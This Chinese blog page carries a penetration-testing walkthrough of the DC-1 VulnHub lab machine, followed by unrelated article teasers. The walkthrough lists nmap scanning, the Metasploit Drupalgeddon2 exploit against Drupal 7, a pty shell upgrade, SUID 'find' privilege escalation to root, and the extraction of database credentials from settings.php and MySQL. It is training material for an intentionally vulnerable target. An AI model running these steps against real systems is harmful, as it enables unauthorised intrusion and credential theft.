当前位置: 首页 > article >正文

DC‑1 靶机完整渗透思路 + 详细步骤(可直接复现)

核心思路信息收集 → Drupal 远程代码执行 → 拿 Webshell → 数据库信息利用 → SUID 提权 → 拿 Root 与全部 Flag一、环境准备攻击机Kali LinuxNAT 模式靶机DC‑1VulnHub 下载NAT 模式目标拿下root 权限 找到5 个 flag二、信息收集定位靶机 端口服务1. 查看攻击机 IPifconfig2. 网段扫描找靶机 IParp-scan -l3. 端口与服务扫描nmap -A -T4 192.168.146.133开放端口22/tcp SSH80/tcp HTTPDrupal 7 CMS111/tcp rpcbind关键发现80 端口跑 Drupal 7存在 CVE‑2018‑7600Drupalgeddon2远程代码执行漏洞三、漏洞利用MSF 拿 Shell1. 启动 Metasploitmsfconsole2. 搜索并加载漏洞模块search drupal # 选择第1个exploit/unix/webapp/drupal_drupalgeddon2 use 13. 设置参数并执行1. set rhosts 192.168.146.128 # 靶机IP 2. set lhost 192.168.46.133 # 攻击机IP 3. run成功拿到Meterpreter 会话用户为www‑data低权限四、升级交互式 Shell1. shell 2. python -c import pty;pty.spawn(/bin/bash)得到稳定 bashwww-dataDC-1:/var/www$(这行命令是在渗透测试中把一个 “残缺的反向 Shell 升级成交互式 Bash” 的经典操作) 为什么要这么做你刚拿到的 Meterpreter / 反弹 Shell 有很多限制无法使用su/sudo切换用户无法运行vim/top这类需要终端的程序输入错误命令时CtrlC会直接把整个会话关掉没有命令行历史记录、Tab 补全执行这行命令后你会得到一个稳定的交互式 Shell能正常使用这些功能后面提权、操作靶机都会顺畅很多。五、SUID 提权获取 root 权限查找带 SUID 权限的可执行文件find / -perm -us -type f 2/dev/null关键发现/usr/bin/find带有 SUID 权限可用于提权。利用 find 命令提权# 创建临时文件 touch test.txt # 利用find执行/bin/sh获取root shell find . -name test.txt -exec /bin/sh \; # 验证权限 whoami输出root即提权成功终端提示符变为#。六、一次性获取全部 5 个 FlagFlag 1Web 根目录cd /var/www ls cat flag1.txtFlag 2Drupal 配置文件# 进入配置文件目录 cd /var/www/sites/default/ # 精准查看数据库信息和flag2 grep -E database|username|password|flag settings.php文件中包含数据库账号密码以及 Flag2 内容。关键信息数据库名drupaldb用户名dbuser密码R0ck3t直接输出 flag2 内容Flag 3MySQL 数据库登录数据库mysql -u dbuser -pR0ck3t drupaldb查看 users 表内容获取 flag3-- 查看所有表 show tables; -- 查看users表的完整内容按行显示方便阅读 select * from users\G输出内容中包含 flag3 的提示信息。退出数据库exitFlag 4普通用户目录cat /home/flag4/flag4.txt直接读取 flag4 内容。Flag 5Root 目录最终 Flagcat /root/thefinalflag.txt获取最终通关 Flag内容为 DC-1 的通关祝贺信息。

相关文章:

DC‑1 靶机完整渗透思路 + 详细步骤(可直接复现)

核心思路:信息收集 → Drupal 远程代码执行 → 拿 Webshell → 数据库信息利用 → SUID 提权 → 拿 Root 与全部 Flag一、环境准备攻击机:Kali Linux(NAT 模式)靶机:DC‑1(VulnHub 下载,NAT 模式…...

从自动驾驶到机器人:双目视差生成点云在实际项目里怎么用?

从自动驾驶到机器人:双目视差生成点云在实际项目中的工程化实践 当机器人需要在未知环境中自主导航,或是自动驾驶汽车试图理解周围的三维空间时,双目视觉系统往往扮演着关键角色。不同于激光雷达的高成本,双目相机以相对经济的硬件…...

告别鬼影!用PyTorch复现动态场景HDR融合论文(附数据集构建与训练代码)

告别鬼影!用PyTorch复现动态场景HDR融合论文(附数据集构建与训练代码) 在计算机视觉领域,高动态范围(HDR)成像技术一直是研究热点。当面对动态场景时,传统HDR融合方法往往会产生令人头疼的"…...

2026年热门会议纪要神器实测对比转写整理全维度比拼,差距竟然这么大

做自媒体这几年,每天要转访谈录音、剪视频做字幕、整理线上分享内容,踩过不下10款转写工具的坑。这次特意把市面上主流的工具全部实测了一遍,负责任说:对比了多款工具,听脑AI是综合体验最好的,没有之一。 直…...

AWPortrait-Z问题解决:常见生成问题排查与优化技巧

AWPortrait-Z问题解决:常见生成问题排查与优化技巧 1. 常见生成问题诊断与修复 1.1 图像质量不理想的五大原因 当生成的人像效果不符合预期时,通常由以下原因导致: 提示词过于简单:仅使用"a beautiful woman"这类泛…...

如何3分钟搞定B站视频下载:DownKyi哔哩下载姬的终极免费方案

如何3分钟搞定B站视频下载:DownKyi哔哩下载姬的终极免费方案 【免费下载链接】downkyi 哔哩下载姬downkyi,哔哩哔哩网站视频下载工具,支持批量下载,支持8K、HDR、杜比视界,提供工具箱(音视频提取、去水印等…...

如何一键下载百度文库等30+文档平台?kill-doc脚本全攻略

如何一键下载百度文库等30文档平台?kill-doc脚本全攻略 【免费下载链接】kill-doc 看到经常有小伙伴们需要下载一些免费文档,但是相关网站浏览体验不好各种广告,各种登录验证,需要很多步骤才能下载文档,该脚本就是为了…...

Oumuamua-7b-RP实战教程:将自定义角色导出为JSON并在多端复用

Oumuamua-7b-RP实战教程:将自定义角色导出为JSON并在多端复用 1. 项目概述 Oumuamua-7b-RP 是一个基于Mistral-7B架构的日语角色扮演专用大语言模型Web界面,专为沉浸式角色对话体验设计。这个工具让用户能够创建、保存和复用自定义角色设定&#xff0c…...

如何从零打造你的第一把模块化机械键盘:HelloWord-Keyboard终极指南

如何从零打造你的第一把模块化机械键盘:HelloWord-Keyboard终极指南 【免费下载链接】HelloWord-Keyboard 项目地址: https://gitcode.com/gh_mirrors/he/HelloWord-Keyboard 你是否厌倦了千篇一律的机械键盘设计?是否曾幻想拥有一把能完全按照自…...

为什么禁止我请求别的网站的接口?——跨域与CORS _

你有没有遇到过这种情况:在自己的网页上想请求别人的API,结果浏览器直接报错:Access-Control-Allow-Origin header is missing。为什么浏览器要阻止你?服务器不响应不就完了吗? 今天,用小区门禁的故事&…...

记忆碎片化测试标准:软件测试领域的新兴挑战与应对框架

在数字化与信息爆炸的时代,人类的认知模式正经历着深刻的变革,记忆碎片化现象已从心理学概念渗透至日常工作和专业实践。对于软件测试从业者而言,这一现象不仅关乎个人效率,更对测试活动的严谨性、系统性和有效性构成了潜在威胁。…...

通过受管控的控制平面加速商品陈列优化

作者:来自 Elastic Alexander Marquardt, Honza Krl 及 Taylor Roy 搜索行为的变化不应该需要一个工程工单。了解受管控的控制平面如何让业务团队在数小时内更新搜索策略,而无需部署,也无需承担风险。 Elasticsearch 新手?参加我…...

05华夏之光永存・开源:黄大年茶思屋榜文解法「23期 5题」 【分布式收发机设计专项完整解法】

05华夏之光永存・开源:黄大年茶思屋榜文解法「23期 5题」 【分布式收发机设计专项完整解法】 一、摘要 分布式收发机设计与低秩/稀疏优化赛道,全球现代工程技术已触达绝对性能天花板。传统集中式均衡、单模块预编码、固定流量分配的技术框架,…...

429超过接口限频次数

总结场景推荐方案简单、快速集成手动重试工具类 Thread.sleep代码整洁,使用注解Spring Retry(但需额外处理 Retry-After)完全可控,需解析 Retry-After自定义 RetryTemplate 监听器想减少 429 发生加入 RateLimiter 主动限速 定…...

GLM-Image自动化测试:使用PyTest确保模型稳定性

GLM-Image自动化测试:使用PyTest确保模型稳定性 1. 引言 当你花费数小时训练出一个精美的GLM-Image模型,准备部署到生产环境时,最担心的是什么?是模型突然生成完全不符合描述的图像,还是在处理特定输入时直接崩溃&am…...

2026中小企业AI超级员工选型:5款工具实测指南

2026年,人工智能已从大型企业的专属技术配置,下沉为中小企业突破增长瓶颈、实现降本增效的核心驱动力。行业实测数据显示,完成AI超级员工系统部署的中小企业,平均获客成本降低60%,整体运营效率提升120%,而综…...

MusePublic Art Studio部署教程:国产昇腾910B芯片适配SDXL的可行性验证

MusePublic Art Studio部署教程:国产昇腾910B芯片适配SDXL的可行性验证 1. 项目概述 MusePublic Art Studio是一款专为艺术家和设计师打造的AI图像生成工具,它基于业界顶尖的Stable Diffusion XL(SDXL)架构,通过极简…...

【含最新安装包】小龙虾 AI OpenClaw v2.6.6 安装指南|办公自动化神器

Windows 一键部署 OpenClaw 教程|5 分钟搞定本地 AI 智能体,告别复杂配置【点击下载最新OpenClaw安装包】 2026 年开源圈备受关注的「数字员工」OpenClaw(昵称小龙虾),GitHub 星标突破 28 万 ,凭借本地运行…...

【稀缺首发】2024 Dev Containers兼容性矩阵图:Node.js 20/Python 3.12/Rust 1.78全版本支持状态+已验证镜像清单

更多请点击: https://intelliparadigm.com 第一章:Dev Containers兼容性矩阵图的权威发布与核心价值 Dev Containers(开发容器)正成为现代云原生开发工作流的关键基础设施。为统一生态标准、降低环境配置成本,OpenDev…...

艾体宝干货|【Redis实用技巧#17】语义缓存(Semantic Caching):LLM 的第一道防线

在大多数 AI 应用里,工程师第一反应通常是: “怎么优化模型调用?怎么选更便宜的模型?” 但一个更本质的问题是:为什么这么多请求本来就不该进模型? 这就是语义缓存的价值。 传统缓存为什么在 AI 时代失效…...

Rust 操作 Redis 从入门到生产级应用

Rust 操作 Redis 从入门到生产级应用 在现代后端开发中,Redis 作为高性能的内存数据库,广泛用于缓存、会话管理、消息队列等场景。本文将基于主流的 redis-rs 库,带你全面掌握 Rust 操作 Redis 的技巧,覆盖同步/异步双模式、连接…...

AI MV 高清无水印生成工具有哪些?零基础在线把歌曲做成 MV 的工具选择指南

AI MV 高清无水印生成工具主要有 OhYesAI、Revid、Kaiber、Runway、CapCut、HeyGen 和 Synthesia,区别在于是否能按歌曲风格、歌词故事、虚拟形象和手机端流程生成完整 MV。 AI MV 工具推荐速览表工具名核心能力(在线 AI MV 制作)适合人群免费…...

盘点全球十大海底光缆,数字孪生赋能资产展示

什么是海底光缆资产?海底光缆是全球通信的“水下黄金”,其资产体系包含了物理设施(光缆、中继器、分支单元、电馈器、登陆站)、容量资产(租用合同、服务等级协议)和维护资产(维修船、备件库&…...

# D3.js实战进阶:从基础图表到交互式数据仪表盘的全流程构建在现代前端开发中,**数据可视化已成为提升用户体验的核心能力之一

D3.js实战进阶:从基础图表到交互式数据仪表盘的全流程构建 在现代前端开发中,数据可视化已成为提升用户体验的核心能力之一。而 D3.js(Data-Driven Documents) 作为最灵活、功能最强的数据驱动文档库之一,正被越来越多…...

FlexASIO终极指南:如何为普通声卡免费获取专业级ASIO低延迟音频体验

FlexASIO终极指南:如何为普通声卡免费获取专业级ASIO低延迟音频体验 【免费下载链接】FlexASIO A flexible universal ASIO driver that uses the PortAudio sound I/O library. Supports WASAPI (shared and exclusive), KS, DirectSound and MME. 项目地址: htt…...

别再手写过滤器!Spring Cloud Gateway 内置 30+ 个,少写 80% 重复代码

别再手写过滤器!Spring Cloud Gateway 内置 30+ 个,少写 80% 重复代码 摘要:很多团队一做网关就习惯性手写过滤器,最后把简单问题做复杂,把配置问题做成代码问题。事实上,Spring Cloud Gateway 已经内置了 30+ 个 GatewayFilter Factory 与一组关键 GlobalFilter,覆盖路…...

PySide6安装踩坑实录:手把手解决‘DLL load failed’等常见错误(Win10/Win11通用)

PySide6安装踩坑实录:手把手解决‘DLL load failed’等常见错误(Win10/Win11通用) 最近在帮团队新人配置Python图形界面开发环境时,发现PySide6的安装过程远比想象中坎坷。特别是当看到终端弹出"DLL load failed while impor…...

别再死磕欧拉角了!用MATLAB的quaternion函数搞定机器人/无人机姿态解算(附完整代码)

四元数实战指南:用MATLAB彻底解决机器人姿态解算难题 刚接手无人机飞控项目时,我被欧拉角的万向节死锁问题折磨得焦头烂额——明明理论计算没问题,实际飞行时却总出现诡异的姿态跳变。直到改用四元数方案,这些问题才迎刃而解。本文…...

让微信小程序也能发PATCH

项目背景 在 uni-app TypeScript 开发微信小程序时,业务层大量使用了 RESTful 接口,其中更新操作用到了 PATCH。 然而小程序底层仅支持 GET/POST/PUT/DELETE…,不支持直接写 method: PATCH。 改动所有接口为 PUT 不仅语义不纯,还…...

DeepSeek-V4 新手快速上手指南

① 本地运行环境准备与依赖安装 在开始体验 DeepSeek-V4 之前,打造一个稳定且兼容的本地运行环境是至关重要的第一步。这不仅仅是安装几个软件包那么简单,更是为了确保后续推理过程流畅无阻。首先,你需要确保操作系统处于较新的版本&#xff…...